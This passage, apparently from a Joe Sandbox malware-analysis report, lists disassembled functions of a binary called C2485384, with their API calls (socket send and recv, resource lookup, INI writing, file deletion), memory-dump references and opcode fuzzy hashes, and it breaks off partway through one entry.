Part of subcall function 62540829: ConvertDefaultLocale.KERNEL32(?), ref: 625408C1
Part of subcall function 62540829: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 625408DE
Part of subcall function 62540829: ConvertDefaultLocale.KERNEL32(?), ref: 62540909
Part of subcall function 62540829: ConvertDefaultLocale.KERNEL32(000003FF), ref: 62540912
Part of subcall function 62540829: GetModuleFileNameA.KERNEL32(62510000,?,00000105), ref: 625409C7

Strings

%s%s.dll, xrefs: 62540ADF

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3_HandlePath
String ID: %s%s.dll
API String ID: 1311856149-1649984862
Opcode ID: c53641a054b428bcce1f858527d057d0ee9c8b4bf17e0ff5b3604c4277c361e1
Instruction ID: 7d1cff5529db93680fecb077e99ffec520e68a82ec28356affdac04f528119bd
Opcode Fuzzy Hash: c53641a054b428bcce1f858527d057d0ee9c8b4bf17e0ff5b3604c4277c361e1
Instruction Fuzzy Hash: 1D01D171A0012C9FCB29CF68CC51AEFB7E8AF5A700F1104AAE901E7140DA709E048BA1

Function 6251DC90 Relevance: 4.6, APIs: 3, Instructions: 87networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6251DCE5
select.WS2_32 ref: 6251DD1D
recv.WS2_32(?,?,00000001,00000000), ref: 6251DD47

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memsetrecvselect
String ID:
API String ID: 159336290-0
Opcode ID: bcb38bd1f21bd60e8523c289bca408bbbcc8caa8b7eade40d825612ed3f52f40
Instruction ID: c512a0e128e7b823fb579ace8dadd4f7cbf43df488f450e4bb6ac9fc668608b3
Opcode Fuzzy Hash: bcb38bd1f21bd60e8523c289bca408bbbcc8caa8b7eade40d825612ed3f52f40
Instruction Fuzzy Hash: F131727164C784AFE734CF34C898BABBBE8EBC6318F400D2DE55982640D7369845CB52

Function 625126F0 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6253F32B: _malloc.LIBCMT ref: 6253F349

_strncpy.LIBCMT ref: 6251274F
_memset.LIBCMT ref: 62512765
_sprintf.LIBCMT ref: 6251277F

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _malloc_memset_sprintf_strncpy
String ID:
API String ID: 3423381085-0
Opcode ID: 6019c013273a06726b17944022146d567237b1b29385d3fc29b75a38b578fa0b
Instruction ID: c3b1872ddaf964cf1ec8534fb92845ac348de1a94528c880c55e2762711ee5ab
Opcode Fuzzy Hash: 6019c013273a06726b17944022146d567237b1b29385d3fc29b75a38b578fa0b
Instruction Fuzzy Hash: D7219FB1544351AFD334CF29C864BABBBE4FF8A744F00492DE948C7250EB71A814CB91

Function 6251DBF0 Relevance: 4.6, APIs: 3, Instructions: 54networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 6251DC37
send.WS2_32(?,?,?,00000000), ref: 6251DC52
WSAGetLastError.WS2_32(?,00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 6251DC5C

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ErrorLastselectsend
String ID:
API String ID: 948727196-0
Opcode ID: ba3a6527e6af76bd5e6aadd832643803763c96ab4f59a83e3149af4cf276e179
Instruction ID: ffddb9cdc5c88da2f7c77b6302b8b6472a982fdbeb62b066da06e5dc00cc2f26
Opcode Fuzzy Hash: ba3a6527e6af76bd5e6aadd832643803763c96ab4f59a83e3149af4cf276e179
Instruction Fuzzy Hash: 6611A57111E3415AF720DF74C854B6ABBE4AB8831CF044E1CE59586291E7B5E9058F52

Function 6251BDB0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(0000E000,?,00000006), ref: 6251BDC7

Strings

VZTb, xrefs: 6251BDBA

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: FindResource
String ID: VZTb
API String ID: 1635176832-3546463264
Opcode ID: 35584a78077ce566205423468f99a694e61d28157dd540d858a790608979760a
Instruction ID: af3a245f6259ba8859e6cd8e69430141c6331dde01624123f62578e7a08c258b
Opcode Fuzzy Hash: 35584a78077ce566205423468f99a694e61d28157dd540d858a790608979760a
Instruction Fuzzy Hash: 2FD05B667081203AE565261DBC44BBB77ACCFC5735F06402AF885DA240D274DC43A6B2

Function 6252A1F0 Relevance: 3.2, APIs: 2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e2fd50ee1d00ff18e986f87c8e1498d01d645acfb8941ef525a4cc5f70b7c9
Instruction ID: 4ba02e2d737e9c131ae95dda67a3e0539394481395631d9dd0b1f4a224652c83
Opcode Fuzzy Hash: d8e2fd50ee1d00ff18e986f87c8e1498d01d645acfb8941ef525a4cc5f70b7c9
Instruction Fuzzy Hash: 22518DB5A057059FC724CF29D491A2AFBE0BF88314F50856EE9598B782DB31E854CB82

Function 0BB74878 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece0efc543aa7c7fdfcda8eb4e0cd33c4af9c04bd0ccf5e6b18935d2be500f19
Instruction ID: 23c5fc0d55fa97e780ea32897985fdf2bac07849bd4de89360a3d1dbf57a6ecd
Opcode Fuzzy Hash: ece0efc543aa7c7fdfcda8eb4e0cd33c4af9c04bd0ccf5e6b18935d2be500f19
Instruction Fuzzy Hash: D8419C71846644CFCB24EF68D49876ABBE0EB89312F1645DDE8788B340E739CA84CB55

Function 62534E90 Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 6253F32B: _malloc.LIBCMT ref: 6253F349

_memset.LIBCMT ref: 62534EB3
_strncpy.LIBCMT ref: 62534EEF

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _malloc_memset_strncpy
String ID:
API String ID: 804760642-0
Opcode ID: 8d02f7544ceb72e71dcbcefa518851d06ce73e46246d54e9bad7776d2efeb067
Instruction ID: 6067b9529a455ca1251e965dad372a6cd90cefc5329cc2c30da563d06ea876e1
Opcode Fuzzy Hash: 8d02f7544ceb72e71dcbcefa518851d06ce73e46246d54e9bad7776d2efeb067
Instruction Fuzzy Hash: 5A213A74404396BEC312CF38C89459BBFA9BF4A314F048A0DF89947641D7359555CBA2

Function 62517430 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 62517469
_strncpy.LIBCMT ref: 62517486

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset_strncpy
String ID:
API String ID: 3140232205-0
Opcode ID: 598d58c24b154aaefe62c033fd9f8765f9bac161288dd2bcf2216d45578299c9
Instruction ID: 5bd41e6cae8624791fc9028491e7a321ff62289ae17dceb3dbc391d6d5107b3d
Opcode Fuzzy Hash: 598d58c24b154aaefe62c033fd9f8765f9bac161288dd2bcf2216d45578299c9
Instruction Fuzzy Hash: DC21C972A083045FD324CF19D8A29EBBBD9EFC9314F44492DE68987190EB7599488793

Function 62521120 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 62520970: _memset.LIBCMT ref: 62520A59
Part of subcall function 62520970: _memset.LIBCMT ref: 62520A76

SetEvent.KERNEL32(?), ref: 625211C8
SetEvent.KERNEL32(?), ref: 625211E2

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Event_memset
String ID:
API String ID: 2932554400-0
Opcode ID: 523b0b8dca625f66b06452a53572a7b7c621d2e66b13acbc43610e06d4e04ac3
Instruction ID: a5b9c65a8200795506b56601e83c93c5b4d0622e7b7c40013e4f6aef9d7ac7b6
Opcode Fuzzy Hash: 523b0b8dca625f66b06452a53572a7b7c621d2e66b13acbc43610e06d4e04ac3
Instruction Fuzzy Hash: F0214FB15083418FC720CF99C49085BFBE0BB89304F50896DE8CA93651D331EA48CB92

Function 0BBCC47C Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BBCC4E3
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BBCC510

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 14c25e00017a65acc37aca4dfff7d6d1e0b7d4579916f56490a92dd1766b5a1b
Instruction ID: 883a296185e23db2523e96c33321780460bf771364baabb8347c1eeb002e7473
Opcode Fuzzy Hash: 14c25e00017a65acc37aca4dfff7d6d1e0b7d4579916f56490a92dd1766b5a1b
Instruction Fuzzy Hash: 2711CE70960108AFDB60FB68DC6399EBBF8EF65205F5080E5A428E7665DB349E41CA60

Function 6254F38F Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 62552DCA: __getptd_noexit.LIBCMT ref: 62552DCA

Part of subcall function 625524F4: __decode_pointer.LIBCMT ref: 625524FF

__lock_file.LIBCMT ref: 6254F3DF

Part of subcall function 62559D3F: __lock.LIBCMT ref: 62559D64

__fclose_nolock.LIBCMT ref: 6254F3E9

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 717694121-0
Opcode ID: 45720d7b72b56ce5dc12c7a0f06c3443e077062556ef2fded3407cf9a793beac
Instruction ID: f59084bf781c011715a46f62db06358ada5ffebe176e2e8cac025b41f9b6c9a6
Opcode Fuzzy Hash: 45720d7b72b56ce5dc12c7a0f06c3443e077062556ef2fded3407cf9a793beac
Instruction Fuzzy Hash: 06F06D718546059AD731AB7DC82069EBEA0AF81338F51960AD878BB1D0CF7C4A429B55

Function 625173D0 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

Part of subcall function 62519080: _strrchr.LIBCMT ref: 62519097

DeleteFileA.KERNEL32(?,?,?,6251184E,?), ref: 625173FF
